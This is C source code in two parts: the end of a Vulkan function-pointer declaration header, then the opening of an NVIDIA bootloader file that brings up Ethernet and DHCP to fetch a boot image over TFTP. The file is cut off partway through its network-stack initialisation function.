PFN_vkResetCommandPool vkResetCommandPool;
PFN_vkResetDescriptorPool vkResetDescriptorPool;
PFN_vkResetEvent vkResetEvent;
PFN_vkResetFences vkResetFences;
PFN_vkSetEvent vkSetEvent;
PFN_vkUnmapMemory vkUnmapMemory;
PFN_vkUpdateDescriptorSets vkUpdateDescriptorSets;
PFN_vkWaitForFences vkWaitForFences;
#endif /* defined(VK_VERSION_1_0) */
#if defined(VK_VERSION_1_1)
PFN_vkBindBufferMemory2 vkBindBufferMemory2;
PFN_vkBindImageMemory2 vkBindImageMemory2;
PFN_vkCmdDispatchBase vkCmdDispatchBase;
PFN_vkCmdSetDeviceMask vkCmdSetDeviceMask;
PFN_vkCreateDescriptorUpdateTemplate vkCreateDescriptorUpdateTemplate;
PFN_vkCreateSamplerYcbcrConversion vkCreateSamplerYcbcrConversion;
PFN_vkDestroyDescriptorUpdateTemplate vkDestroyDescriptorUpdateTemplate;
PFN_vkDestroySamplerYcbcrConversion vkDestroySamplerYcbcrConversion;
PFN_vkEnumerateInstanceVersion vkEnumerateInstanceVersion;
PFN_vkEnumeratePhysicalDeviceGroups vkEnumeratePhysicalDeviceGroups;
PFN_vkGetBufferMemoryRequirements2 vkGetBufferMemoryRequirements2;
PFN_vkGetDescriptorSetLayoutSupport vkGetDescriptorSetLayoutSupport;
PFN_vkGetDeviceGroupPeerMemoryFeatures vkGetDeviceGroupPeerMemoryFeatures;
PFN_vkGetDeviceQueue2 vkGetDeviceQueue2;
PFN_vkGetImageMemoryRequirements2 vkGetImageMemoryRequirements2;
PFN_vkGetImageSparseMemoryRequirements2 vkGetImageSparseMemoryRequirements2;
PFN_vkGetPhysicalDeviceExternalBufferProperties vkGetPhysicalDeviceExternalBufferProperties;
PFN_vkGetPhysicalDeviceExternalFenceProperties vkGetPhysicalDeviceExternalFenceProperties;
PFN_vkGetPhysicalDeviceExternalSemaphoreProperties vkGetPhysicalDeviceExternalSemaphoreProperties;
PFN_vkGetPhysicalDeviceFeatures2 vkGetPhysicalDeviceFeatures2;
PFN_vkGetPhysicalDeviceFormatProperties2 vkGetPhysicalDeviceFormatProperties2;
PFN_vkGetPhysicalDeviceImageFormatProperties2 vkGetPhysicalDeviceImageFormatProperties2;
PFN_vkGetPhysicalDeviceMemoryProperties2 vkGetPhysicalDeviceMemoryProperties2;
PFN_vkGetPhysicalDeviceProperties2 vkGetPhysicalDeviceProperties2;
PFN_vkGetPhysicalDeviceQueueFamilyProperties2 vkGetPhysicalDeviceQueueFamilyProperties2;
PFN_vkGetPhysicalDeviceSparseImageFormatProperties2 vkGetPhysicalDeviceSparseImageFormatProperties2;
PFN_vkTrimCommandPool vkTrimCommandPool;
PFN_vkUpdateDescriptorSetWithTemplate vkUpdateDescriptorSetWithTemplate;
#endif /* defined(VK_VERSION_1_1) */
#if defined(VK_AMD_buffer_marker)
PFN_vkCmdWriteBufferMarkerAMD vkCmdWriteBufferMarkerAMD;
#endif /* defined(VK_AMD_buffer_marker) */
#if defined(VK_AMD_draw_indirect_count)
PFN_vkCmdDrawIndexedIndirectCountAMD vkCmdDrawIndexedIndirectCountAMD;
PFN_vkCmdDrawIndirectCountAMD vkCmdDrawIndirectCountAMD;
#endif /* defined(VK_AMD_draw_indirect_count) */
#if defined(VK_AMD_shader_info)
PFN_vkGetShaderInfoAMD vkGetShaderInfoAMD;
#endif /* defined(VK_AMD_shader_info) */
#if defined(VK_ANDROID_external_memory_android_hardware_buffer)
PFN_vkGetAndroidHardwareBufferPropertiesANDROID vkGetAndroidHardwareBufferPropertiesANDROID;
PFN_vkGetMemoryAndroidHardwareBufferANDROID vkGetMemoryAndroidHardwareBufferANDROID;
#endif /* defined(VK_ANDROID_external_memory_android_hardware_buffer) */
#if defined(VK_ANDROID_native_buffer)
PFN_vkAcquireImageANDROID vkAcquireImageANDROID;
PFN_vkGetSwapchainGrallocUsageANDROID vkGetSwapchainGrallocUsageANDROID;
PFN_vkQueueSignalReleaseImageANDROID vkQueueSignalReleaseImageANDROID;
#endif /* defined(VK_ANDROID_native_buffer) */
#if defined(VK_EXT_acquire_xlib_display)
PFN_vkAcquireXlibDisplayEXT vkAcquireXlibDisplayEXT;
PFN_vkGetRandROutputDisplayEXT vkGetRandROutputDisplayEXT;
#endif /* defined(VK_EXT_acquire_xlib_display) */
#if defined(VK_EXT_debug_marker)
PFN_vkCmdDebugMarkerBeginEXT vkCmdDebugMarkerBeginEXT;
PFN_vkCmdDebugMarkerEndEXT vkCmdDebugMarkerEndEXT;
PFN_vkCmdDebugMarkerInsertEXT vkCmdDebugMarkerInsertEXT;
PFN_vkDebugMarkerSetObjectNameEXT vkDebugMarkerSetObjectNameEXT;
PFN_vkDebugMarkerSetObjectTagEXT vkDebugMarkerSetObjectTagEXT;
#endif /* defined(VK_EXT_debug_marker) */
#if defined(VK_EXT_debug_report)
PFN_vkCreateDebugReportCallbackEXT vkCreateDebugReportCallbackEXT;
PFN_vkDebugReportMessageEXT vkDebugReportMessageEXT;
PFN_vkDestroyDebugReportCallbackEXT vkDestroyDebugReportCallbackEXT;
#endif /* defined(VK_EXT_debug_report) */
#if defined(VK_EXT_debug_utils)
PFN_vkCmdBeginDebugUtilsLabelEXT vkCmdBeginDebugUtilsLabelEXT;
PFN_vkCmdEndDebugUtilsLabelEXT vkCmdEndDebugUtilsLabelEXT;
PFN_vkCmdInsertDebugUtilsLabelEXT vkCmdInsertDebugUtilsLabelEXT;
PFN_vkCreateDebugUtilsMessengerEXT vkCreateDebugUtilsMessengerEXT;
PFN_vkDestroyDebugUtilsMessengerEXT vkDestroyDebugUtilsMessengerEXT;
PFN_vkQueueBeginDebugUtilsLabelEXT vkQueueBeginDebugUtilsLabelEXT;
PFN_vkQueueEndDebugUtilsLabelEXT vkQueueEndDebugUtilsLabelEXT;
PFN_vkQueueInsertDebugUtilsLabelEXT vkQueueInsertDebugUtilsLabelEXT;
PFN_vkSetDebugUtilsObjectNameEXT vkSetDebugUtilsObjectNameEXT;
PFN_vkSetDebugUtilsObjectTagEXT vkSetDebugUtilsObjectTagEXT;
PFN_vkSubmitDebugUtilsMessageEXT vkSubmitDebugUtilsMessageEXT;
#endif /* defined(VK_EXT_debug_utils) */
#if defined(VK_EXT_direct_mode_display)
PFN_vkReleaseDisplayEXT vkReleaseDisplayEXT;
#endif /* defined(VK_EXT_direct_mode_display) */
#if defined(VK_EXT_discard_rectangles)
PFN_vkCmdSetDiscardRectangleEXT vkCmdSetDiscardRectangleEXT;
#endif /* defined(VK_EXT_discard_rectangles) */
#if defined(VK_EXT_display_control)
PFN_vkDisplayPowerControlEXT vkDisplayPowerControlEXT;
PFN_vkGetSwapchainCounterEXT vkGetSwapchainCounterEXT;
PFN_vkRegisterDeviceEventEXT vkRegisterDeviceEventEXT;
PFN_vkRegisterDisplayEventEXT vkRegisterDisplayEventEXT;
#endif /* defined(VK_EXT_display_control) */
#if defined(VK_EXT_display_surface_counter)
PFN_vkGetPhysicalDeviceSurfaceCapabilities2EXT vkGetPhysicalDeviceSurfaceCapabilities2EXT;
#endif /* defined(VK_EXT_display_surface_counter) */
#if defined(VK_EXT_external_memory_host)
PFN_vkGetMemoryHostPointerPropertiesEXT vkGetMemoryHostPointerPropertiesEXT;
#endif /* defined(VK_EXT_external_memory_host) */
#if defined(VK_EXT_hdr_metadata)
PFN_vkSetHdrMetadataEXT vkSetHdrMetadataEXT;
#endif /* defined(VK_EXT_hdr_metadata) */
#if defined(VK_EXT_sample_locations)
PFN_vkCmdSetSampleLocationsEXT vkCmdSetSampleLocationsEXT;
PFN_vkGetPhysicalDeviceMultisamplePropertiesEXT vkGetPhysicalDeviceMultisamplePropertiesEXT;
#endif /* defined(VK_EXT_sample_locations) */
#if defined(VK_EXT_validation_cache)
PFN_vkCreateValidationCacheEXT vkCreateValidationCacheEXT;
PFN_vkDestroyValidationCacheEXT vkDestroyValidationCacheEXT;
PFN_vkGetValidationCacheDataEXT vkGetValidationCacheDataEXT;
PFN_vkMergeValidationCachesEXT vkMergeValidationCachesEXT;
#endif /* defined(VK_EXT_validation_cache) */
#if defined(VK_GOOGLE_display_timing)
PFN_vkGetPastPresentationTimingGOOGLE vkGetPastPresentationTimingGOOGLE;
PFN_vkGetRefreshCycleDurationGOOGLE vkGetRefreshCycleDurationGOOGLE;
#endif /* defined(VK_GOOGLE_display_timing) */
#if defined(VK_KHR_android_surface)
PFN_vkCreateAndroidSurfaceKHR vkCreateAndroidSurfaceKHR;
#endif /* defined(VK_KHR_android_surface) */
#if defined(VK_KHR_bind_memory2)
PFN_vkBindBufferMemory2KHR vkBindBufferMemory2KHR;
PFN_vkBindImageMemory2KHR vkBindImageMemory2KHR;
#endif /* defined(VK_KHR_bind_memory2) */
#if defined(VK_KHR_descriptor_update_template)
PFN_vkCreateDescriptorUpdateTemplateKHR vkCreateDescriptorUpdateTemplateKHR;
PFN_vkDestroyDescriptorUpdateTemplateKHR vkDestroyDescriptorUpdateTemplateKHR;
PFN_vkUpdateDescriptorSetWithTemplateKHR vkUpdateDescriptorSetWithTemplateKHR;
#endif /* defined(VK_KHR_descriptor_update_template) */
#if defined(VK_KHR_device_group)
PFN_vkCmdDispatchBaseKHR vkCmdDispatchBaseKHR;
PFN_vkCmdSetDeviceMaskKHR vkCmdSetDeviceMaskKHR;
PFN_vkGetDeviceGroupPeerMemoryFeaturesKHR vkGetDeviceGroupPeerMemoryFeaturesKHR;
#endif /* defined(VK_KHR_device_group) */
#if defined(VK_KHR_device_group_creation)
PFN_vkEnumeratePhysicalDeviceGroupsKHR vkEnumeratePhysicalDeviceGroupsKHR;
#endif /* defined(VK_KHR_device_group_creation) */
#if defined(VK_KHR_display)
PFN_vkCreateDisplayModeKHR vkCreateDisplayModeKHR;
PFN_vkCreateDisplayPlaneSurfaceKHR vkCreateDisplayPlaneSurfaceKHR;
PFN_vkGetDisplayModePropertiesKHR vkGetDisplayModePropertiesKHR;
PFN_vkGetDisplayPlaneCapabilitiesKHR vkGetDisplayPlaneCapabilitiesKHR;
PFN_vkGetDisplayPlaneSupportedDisplaysKHR vkGetDisplayPlaneSupportedDisplaysKHR;
PFN_vkGetPhysicalDeviceDisplayPlanePropertiesKHR vkGetPhysicalDeviceDisplayPlanePropertiesKHR;
PFN_vkGetPhysicalDeviceDisplayPropertiesKHR vkGetPhysicalDeviceDisplayPropertiesKHR;
#endif /* defined(VK_KHR_display) */
#if defined(VK_KHR_display_swapchain)
PFN_vkCreateSharedSwapchainsKHR vkCreateSharedSwapchainsKHR;
#endif /* defined(VK_KHR_display_swapchain) */
#if defined(VK_KHR_draw_indirect_count)
PFN_vkCmdDrawIndexedIndirectCountKHR vkCmdDrawIndexedIndirectCountKHR;
PFN_vkCmdDrawIndirectCountKHR vkCmdDrawIndirectCountKHR;
#endif /* defined(VK_KHR_draw_indirect_count) */
#if defined(VK_KHR_external_fence_capabilities)
PFN_vkGetPhysicalDeviceExternalFencePropertiesKHR vkGetPhysicalDeviceExternalFencePropertiesKHR;
#endif /* defined(VK_KHR_external_fence_capabilities) */
#if defined(VK_KHR_external_fence_fd)
PFN_vkGetFenceFdKHR vkGetFenceFdKHR;
PFN_vkImportFenceFdKHR vkImportFenceFdKHR;
#endif /* defined(VK_KHR_external_fence_fd) */
#if defined(VK_KHR_external_fence_win32)
PFN_vkGetFenceWin32HandleKHR vkGetFenceWin32HandleKHR;
PFN_vkImportFenceWin32HandleKHR vkImportFenceWin32HandleKHR;
#endif /* defined(VK_KHR_external_fence_win32) */
#if defined(VK_KHR_external_memory_capabilities)
PFN_vkGetPhysicalDeviceExternalBufferPropertiesKHR vkGetPhysicalDeviceExternalBufferPropertiesKHR;
#endif /* defined(VK_KHR_external_memory_capabilities) */
#if defined(VK_KHR_external_memory_fd)
PFN_vkGetMemoryFdKHR vkGetMemoryFdKHR;
PFN_vkGetMemoryFdPropertiesKHR vkGetMemoryFdPropertiesKHR;
#endif /* defined(VK_KHR_external_memory_fd) */
#if defined(VK_KHR_external_memory_win32)
PFN_vkGetMemoryWin32HandleKHR vkGetMemoryWin32HandleKHR;
PFN_vkGetMemoryWin32HandlePropertiesKHR vkGetMemoryWin32HandlePropertiesKHR;
#endif /* defined(VK_KHR_external_memory_win32) */
#if defined(VK_KHR_external_semaphore_capabilities)
PFN_vkGetPhysicalDeviceExternalSemaphorePropertiesKHR vkGetPhysicalDeviceExternalSemaphorePropertiesKHR;
#endif /* defined(VK_KHR_external_semaphore_capabilities) */
#if defined(VK_KHR_external_semaphore_fd)
PFN_vkGetSemaphoreFdKHR vkGetSemaphoreFdKHR;
PFN_vkImportSemaphoreFdKHR vkImportSemaphoreFdKHR;
#endif /* defined(VK_KHR_external_semaphore_fd) */
#if defined(VK_KHR_external_semaphore_win32)
PFN_vkGetSemaphoreWin32HandleKHR vkGetSemaphoreWin32HandleKHR;
PFN_vkImportSemaphoreWin32HandleKHR vkImportSemaphoreWin32HandleKHR;
#endif /* defined(VK_KHR_external_semaphore_win32) */
#if defined(VK_KHR_get_display_properties2)
PFN_vkGetDisplayModeProperties2KHR vkGetDisplayModeProperties2KHR;
PFN_vkGetDisplayPlaneCapabilities2KHR vkGetDisplayPlaneCapabilities2KHR;
PFN_vkGetPhysicalDeviceDisplayPlaneProperties2KHR vkGetPhysicalDeviceDisplayPlaneProperties2KHR;
PFN_vkGetPhysicalDeviceDisplayProperties2KHR vkGetPhysicalDeviceDisplayProperties2KHR;
#endif /* defined(VK_KHR_get_display_properties2) */
#if defined(VK_KHR_get_memory_requirements2)
PFN_vkGetBufferMemoryRequirements2KHR vkGetBufferMemoryRequirements2KHR;
PFN_vkGetImageMemoryRequirements2KHR vkGetImageMemoryRequirements2KHR;
PFN_vkGetImageSparseMemoryRequirements2KHR vkGetImageSparseMemoryRequirements2KHR;
#endif /* defined(VK_KHR_get_memory_requirements2) */
#if defined(VK_KHR_get_physical_device_properties2)
PFN_vkGetPhysicalDeviceFeatures2KHR vkGetPhysicalDeviceFeatures2KHR;
PFN_vkGetPhysicalDeviceFormatProperties2KHR vkGetPhysicalDeviceFormatProperties2KHR;
PFN_vkGetPhysicalDeviceImageFormatProperties2KHR vkGetPhysicalDeviceImageFormatProperties2KHR;
PFN_vkGetPhysicalDeviceMemoryProperties2KHR vkGetPhysicalDeviceMemoryProperties2KHR;
PFN_vkGetPhysicalDeviceProperties2KHR vkGetPhysicalDeviceProperties2KHR;
PFN_vkGetPhysicalDeviceQueueFamilyProperties2KHR vkGetPhysicalDeviceQueueFamilyProperties2KHR;
PFN_vkGetPhysicalDeviceSparseImageFormatProperties2KHR vkGetPhysicalDeviceSparseImageFormatProperties2KHR;
#endif /* defined(VK_KHR_get_physical_device_properties2) */
#if defined(VK_KHR_get_surface_capabilities2)
PFN_vkGetPhysicalDeviceSurfaceCapabilities2KHR vkGetPhysicalDeviceSurfaceCapabilities2KHR;
PFN_vkGetPhysicalDeviceSurfaceFormats2KHR vkGetPhysicalDeviceSurfaceFormats2KHR;
#endif /* defined(VK_KHR_get_surface_capabilities2) */
#if defined(VK_KHR_maintenance1)
PFN_vkTrimCommandPoolKHR vkTrimCommandPoolKHR;
#endif /* defined(VK_KHR_maintenance1) */
#if defined(VK_KHR_maintenance3)
PFN_vkGetDescriptorSetLayoutSupportKHR vkGetDescriptorSetLayoutSupportKHR;
#endif /* defined(VK_KHR_maintenance3) */
#if defined(VK_KHR_mir_surface)
PFN_vkCreateMirSurfaceKHR vkCreateMirSurfaceKHR;
PFN_vkGetPhysicalDeviceMirPresentationSupportKHR vkGetPhysicalDeviceMirPresentationSupportKHR;
#endif /* defined(VK_KHR_mir_surface) */
#if defined(VK_KHR_push_descriptor)
PFN_vkCmdPushDescriptorSetKHR vkCmdPushDescriptorSetKHR;
#endif /* defined(VK_KHR_push_descriptor) */
#if defined(VK_KHR_sampler_ycbcr_conversion)
PFN_vkCreateSamplerYcbcrConversionKHR vkCreateSamplerYcbcrConversionKHR;
PFN_vkDestroySamplerYcbcrConversionKHR vkDestroySamplerYcbcrConversionKHR;
#endif /* defined(VK_KHR_sampler_ycbcr_conversion) */
#if defined(VK_KHR_shared_presentable_image)
PFN_vkGetSwapchainStatusKHR vkGetSwapchainStatusKHR;
#endif /* defined(VK_KHR_shared_presentable_image) */
#if defined(VK_KHR_surface)
PFN_vkDestroySurfaceKHR vkDestroySurfaceKHR;
PFN_vkGetPhysicalDeviceSurfaceCapabilitiesKHR vkGetPhysicalDeviceSurfaceCapabilitiesKHR;
PFN_vkGetPhysicalDeviceSurfaceFormatsKHR vkGetPhysicalDeviceSurfaceFormatsKHR;
PFN_vkGetPhysicalDeviceSurfacePresentModesKHR vkGetPhysicalDeviceSurfacePresentModesKHR;
PFN_vkGetPhysicalDeviceSurfaceSupportKHR vkGetPhysicalDeviceSurfaceSupportKHR;
#endif /* defined(VK_KHR_surface) */
#if defined(VK_KHR_swapchain)
PFN_vkAcquireNextImageKHR vkAcquireNextImageKHR;
PFN_vkCreateSwapchainKHR vkCreateSwapchainKHR;
PFN_vkDestroySwapchainKHR vkDestroySwapchainKHR;
PFN_vkGetSwapchainImagesKHR vkGetSwapchainImagesKHR;
PFN_vkQueuePresentKHR vkQueuePresentKHR;
#endif /* defined(VK_KHR_swapchain) */
#if defined(VK_KHR_wayland_surface)
PFN_vkCreateWaylandSurfaceKHR vkCreateWaylandSurfaceKHR;
PFN_vkGetPhysicalDeviceWaylandPresentationSupportKHR vkGetPhysicalDeviceWaylandPresentationSupportKHR;
#endif /* defined(VK_KHR_wayland_surface) */
#if defined(VK_KHR_win32_surface)
PFN_vkCreateWin32SurfaceKHR vkCreateWin32SurfaceKHR;
PFN_vkGetPhysicalDeviceWin32PresentationSupportKHR vkGetPhysicalDeviceWin32PresentationSupportKHR;
#endif /* defined(VK_KHR_win32_surface) */
#if defined(VK_KHR_xcb_surface)
PFN_vkCreateXcbSurfaceKHR vkCreateXcbSurfaceKHR;
PFN_vkGetPhysicalDeviceXcbPresentationSupportKHR vkGetPhysicalDeviceXcbPresentationSupportKHR;
#endif /* defined(VK_KHR_xcb_surface) */
#if defined(VK_KHR_xlib_surface)
PFN_vkCreateXlibSurfaceKHR vkCreateXlibSurfaceKHR;
PFN_vkGetPhysicalDeviceXlibPresentationSupportKHR vkGetPhysicalDeviceXlibPresentationSupportKHR;
#endif /* defined(VK_KHR_xlib_surface) */
#if defined(VK_MVK_ios_surface)
PFN_vkCreateIOSSurfaceMVK vkCreateIOSSurfaceMVK;
#endif /* defined(VK_MVK_ios_surface) */
#if defined(VK_MVK_macos_surface)
PFN_vkCreateMacOSSurfaceMVK vkCreateMacOSSurfaceMVK;
#endif /* defined(VK_MVK_macos_surface) */
#if defined(VK_NN_vi_surface)
PFN_vkCreateViSurfaceNN vkCreateViSurfaceNN;
#endif /* defined(VK_NN_vi_surface) */
#if defined(VK_NVX_device_generated_commands)
PFN_vkCmdProcessCommandsNVX vkCmdProcessCommandsNVX;
PFN_vkCmdReserveSpaceForCommandsNVX vkCmdReserveSpaceForCommandsNVX;
PFN_vkCreateIndirectCommandsLayoutNVX vkCreateIndirectCommandsLayoutNVX;
PFN_vkCreateObjectTableNVX vkCreateObjectTableNVX;
PFN_vkDestroyIndirectCommandsLayoutNVX vkDestroyIndirectCommandsLayoutNVX;
PFN_vkDestroyObjectTableNVX vkDestroyObjectTableNVX;
PFN_vkGetPhysicalDeviceGeneratedCommandsPropertiesNVX vkGetPhysicalDeviceGeneratedCommandsPropertiesNVX;
PFN_vkRegisterObjectsNVX vkRegisterObjectsNVX;
PFN_vkUnregisterObjectsNVX vkUnregisterObjectsNVX;
#endif /* defined(VK_NVX_device_generated_commands) */
#if defined(VK_NV_clip_space_w_scaling)
PFN_vkCmdSetViewportWScalingNV vkCmdSetViewportWScalingNV;
#endif /* defined(VK_NV_clip_space_w_scaling) */
#if defined(VK_NV_external_memory_capabilities)
PFN_vkGetPhysicalDeviceExternalImageFormatPropertiesNV vkGetPhysicalDeviceExternalImageFormatPropertiesNV;
#endif /* defined(VK_NV_external_memory_capabilities) */
#if defined(VK_NV_external_memory_win32)
PFN_vkGetMemoryWin32HandleNV vkGetMemoryWin32HandleNV;
#endif /* defined(VK_NV_external_memory_win32) */
#if (defined(VK_KHR_descriptor_update_template) && defined(VK_KHR_push_descriptor)) || (defined(VK_KHR_push_descriptor) && defined(VK_VERSION_1_1))
PFN_vkCmdPushDescriptorSetWithTemplateKHR vkCmdPushDescriptorSetWithTemplateKHR;
#endif /* (defined(VK_KHR_descriptor_update_template) && defined(VK_KHR_push_descriptor)) || (defined(VK_KHR_push_descriptor) && defined(VK_VERSION_1_1)) */
#if (defined(VK_KHR_device_group) && defined(VK_KHR_surface)) || (defined(VK_KHR_swapchain) && defined(VK_VERSION_1_1))
PFN_vkGetDeviceGroupPresentCapabilitiesKHR vkGetDeviceGroupPresentCapabilitiesKHR;
PFN_vkGetDeviceGroupSurfacePresentModesKHR vkGetDeviceGroupSurfacePresentModesKHR;
PFN_vkGetPhysicalDevicePresentRectanglesKHR vkGetPhysicalDevicePresentRectanglesKHR;
#endif /* (defined(VK_KHR_device_group) && defined(VK_KHR_surface)) || (defined(VK_KHR_swapchain) && defined(VK_VERSION_1_1)) */
#if (defined(VK_KHR_device_group) && defined(VK_KHR_swapchain)) || (defined(VK_KHR_swapchain) && defined(VK_VERSION_1_1))
PFN_vkAcquireNextImage2KHR vkAcquireNextImage2KHR;
#endif /* (defined(VK_KHR_device_group) && defined(VK_KHR_swapchain)) || (defined(VK_KHR_swapchain) && defined(VK_VERSION_1_1)) */
/* VOLK_GENERATE_PROTOTYPES_C */
#ifdef __GNUC__
# pragma GCC visibility pop
#endif
#ifdef __cplusplus
}
#endif
#endif // ENABLE_VULKAN
|
the_stack_data/16788.c | /*
* Copyright (c) 2018-2019, NVIDIA CORPORATION. All rights reserved.
*
* NVIDIA CORPORATION and its licensors retain all intellectual property
* and proprietary rights in and to this software, related documentation
* and any modifications thereto. Any use, reproduction, disclosure or
* distribution of this software and related documentation without an express
* license agreement from NVIDIA CORPORATION is strictly prohibited
*/
/* FIXME / TODO : Move platform specific code to cboot/platform/t194 */
#define MODULE TEGRABL_ERR_NO_MODULE
#if defined(CONFIG_ENABLE_ETHERNET_BOOT)
#include <string.h>
#include <tegrabl_sdram_usage.h>
#include <tegrabl_board_info.h>
#include <tegrabl_devicetree.h>
#include <platform/interrupts.h>
#include <tegrabl_utils.h>
#include <tegrabl_bootimg.h>
#include <tegrabl_linuxboot_helper.h>
#include <tegrabl_eqos.h>
#include <tegrabl_cbo.h>
#include <etharp.h>
#include <lwip/netif.h>
#include <lwip/init.h>
#include <lwip/dhcp.h>
#include <lwip/snmp.h>
#include <lwip/apps/tftp_client.h>
#include <net_boot.h>
#include <tegrabl_partition_loader.h>
#include <tegrabl_binary_types.h>
#include <tegrabl_auth.h>
#define TFTP_SERVER_IP "10.24.238.35"
#define KERNEL_IMAGE "boot.img"
#define KERNEL_DTB "tegra194-p2888-0001-p2822-0000.dtb"
#define TFTP_MAX_RRQ_RETRIES 5
#define MAC_RX_CH0_INTR (32 + 194)
#define DHCP_TIMEOUT_MS (20 * 1000)
#define AUX_INFO_DHCP_TIMEOUT 1
#define AUX_INFO_DTB_RD_REQ_TIMEOUT 2
#define AUX_INFO_BOOT_IMAGE_RD_REQ_TIMEOUT 3
#define AUX_INFO_DTB_RECV_ERR 4
#define AUX_INFO_BOOT_IMAGE_RECV_ERR 5
#define AUX_INFO_TFTP_CLIENT_INIT_FAILED 6
static struct netif netif;
struct netif *saved_netif;
static void convert_ip_str_to_int(char * const ip_addr_str, uint8_t * const ip_addr_int)
{
uint32_t i = 0;
char *tok = strtok(ip_addr_str, ".");
while (tok != NULL) {
pr_trace("tok = %s\n", tok);
ip_addr_int[i] = tegrabl_utils_strtoul(tok, NULL, 10);
pr_trace("ip = %u\n", ip_addr_int[i]);
tok = strtok(NULL, ".");
i++;
}
}
err_t pass_network_packet_to_ethernet_controller(struct netif *netif, struct pbuf *p)
{
struct pbuf *tx_data;
saved_netif = netif;
/*
* Send the data from the pbuf to the ethernet controller, one pbuf at a time. The size of the data in
* each pbuf is kept in the len variable.
*/
for (tx_data = p; tx_data != NULL; tx_data = tx_data->next) {
tegrabl_eqos_send(tx_data->payload, tx_data->len);
unmask_interrupt(MAC_RX_CH0_INTR); /* Enable interrupt */
}
/* Increment packet counters */
MIB2_STATS_NETIF_ADD(netif, ifoutoctets, p->tot_len);
if (((u8_t *)p->payload)[0] & 1) {
MIB2_STATS_NETIF_INC(netif, ifoutnucastpkts); /* broadcast or multicast packet*/
} else {
MIB2_STATS_NETIF_INC(netif, ifoutucastpkts); /* unicast packet */
}
LINK_STATS_INC(link.xmit);
return ERR_OK;
}
err_t process_ethernet_frame(void)
{
struct pbuf *p = NULL;
size_t len;
struct netif *netif = saved_netif;
uint8_t payload[1536];
err_t err = ERR_OK;
if (saved_netif == NULL) {
pr_error("Invalid netif\n");
err = ERR_MEM;
goto fail;
}
tegrabl_eqos_receive(&payload, &len);
/* cboot only supports TFTP. Packages with size larger
* than standard TFTP package (with 512 bytes TFTP
* data for each package) will be dropped.
* Ping (ICMP) with size less than 512 is also supported.
*/
if (len > 562) {
LINK_STATS_INC(link.memerr);
LINK_STATS_INC(link.drop);
MIB2_STATS_NETIF_INC(netif, ifindiscards);
err = ERR_MEM;
goto fail;
}
p = pbuf_alloc(PBUF_RAW, len, PBUF_POOL);
if (p != NULL) {
pbuf_copy_from_userbuffer(p, payload, len);
MIB2_STATS_NETIF_ADD(netif, ifinoctets, p->tot_len);
if (((u8_t *)p->payload)[0] & 1) {
/* broadcast or multicast packet*/
LWIP_DEBUGF(ETHARP_DEBUG | LWIP_DBG_TRACE | LWIP_DBG_LEVEL_SERIOUS,
("broadcast/multicast packet\n"));
MIB2_STATS_NETIF_INC(netif, ifinnucastpkts);
} else {
/* unicast packet*/
LWIP_DEBUGF(ETHARP_DEBUG | LWIP_DBG_TRACE | LWIP_DBG_LEVEL_SERIOUS, ("unicast\n"));
MIB2_STATS_NETIF_INC(netif, ifinucastpkts);
}
LINK_STATS_INC(link.recv);
} else {
LWIP_DEBUGF(ETHARP_DEBUG | LWIP_DBG_TRACE , ("Dropping Packet / Do Nothing\n"));
LINK_STATS_INC(link.memerr);
LINK_STATS_INC(link.drop);
MIB2_STATS_NETIF_INC(netif, ifindiscards);
goto fail;
}
err = netif_input(p, netif);
if (err != ERR_OK) {
pr_error("Network layer failed to process packet, err: %d\n", err);
goto fail;
}
fail:
if (p != NULL) {
pbuf_free(p);
}
return err;
}
/* This callback will get called when interface is brought up/down or address is changed while up */
static void netif_status_callback(struct netif *netif)
{
pr_info("netif status changed %s\n", ip4addr_ntoa(netif_ip4_addr(netif)));
}
static handler_return_t pass_ethernet_frame_to_network_stack(void *arg)
{
TEGRABL_UNUSED(arg);
mask_interrupt(MAC_RX_CH0_INTR);
/* TODO: Handle or defer using RESCHED */
if (tegrabl_eqos_is_dma_rx_intr_occured()) {
tegrabl_eqos_clear_dma_rx_intr();
process_ethernet_frame(); /* Call LWIP to process RX */
}
unmask_interrupt(MAC_RX_CH0_INTR);
return INT_NO_RESCHEDULE;
}
static err_t platform_netif_init(struct netif *netif)
{
tegrabl_error_t error = TEGRABL_NO_ERROR;
register_int_handler(MAC_RX_CH0_INTR, pass_ethernet_frame_to_network_stack, 0);
/* Initialize ethernet i/f - MAC and PHY */
error = tegrabl_eqos_init();
if (error != TEGRABL_NO_ERROR) {
pr_error("Failed to initialize EQoS controller\n");
goto done;
}
/* Obtain MAC address from EEPROM and assign to netif */
error = tegrabl_get_mac_address(MAC_ADDR_TYPE_ETHERNET, (uint8_t *)&(netif->hwaddr), NULL);
if (error != TEGRABL_NO_ERROR) {
pr_info("Failed to read MAC addr from EEPROM\n");
goto cleanup;
}
/* Program MAC address to controller for packet filtering */
tegrabl_eqos_set_mac_addr((uint8_t *)&netif->hwaddr);
netif->name[0] = 'e';
netif->name[1] = '0';
netif->mtu = 1500; /* MAX per IEEE802.3 */
netif->hwaddr_len = 6;
netif->output = ðarp_output;
netif->linkoutput = &pass_network_packet_to_ethernet_controller;
netif->flags = NETIF_FLAG_BROADCAST | NETIF_FLAG_ETHARP; /* Program netif capabilties */
netif->flags |= NETIF_FLAG_LINK_UP; /* MAC controller initialization is successful means link is up */
netif_set_status_callback(netif, netif_status_callback);
netif_set_default(netif);
/* Assume link is up - We will reach here only if link is up */
netif_set_link_up(netif);
goto done;
cleanup:
tegrabl_eqos_deinit();
done:
return (err_t)error;
}
tegrabl_error_t net_boot_stack_init(void)
{
uint8_t *ip_addr = NULL;
struct netif *ret_netif = NULL;
struct ip_info info = {0};
time_t start_time_ms;
time_t elapsed_time_ms;
ip4_addr_t static_ip;
ip4_addr_t netmask;
ip4_addr_t gateway;
tegrabl_error_t err = TEGRABL_NO_ERROR;
lwip_init();
ret_netif = netif_add(&netif, IP4_ADDR_ANY, IP4_ADDR_ANY, IP4_ADDR_ANY, NULL, &platform_netif_init,
&netif_input);
if (ret_netif == NULL) {
err = TEGRABL_ERROR(TEGRABL_ERR_ADD_FAILED, 0);
pr_error("Failed to add interface to the lwip netifs list\n");
goto fail;
}
info = tegrabl_get_ip_info();
if (info.is_dhcp_enabled) {
pr_info("DHCP: Init: Requesting IP ...\n");
/* Bring an interface up, available for processing */
netif_set_up(&netif);
err = (tegrabl_error_t)dhcp_start(&netif);
if (err != TEGRABL_NO_ERROR) {
pr_error("DHCP failed\n");
goto fail;
}
start_time_ms = tegrabl_get_timestamp_ms();
while (dhcp_supplied_address(&netif) == 0) {
elapsed_time_ms = tegrabl_get_timestamp_ms() - start_time_ms;
if (elapsed_time_ms > DHCP_TIMEOUT_MS) {
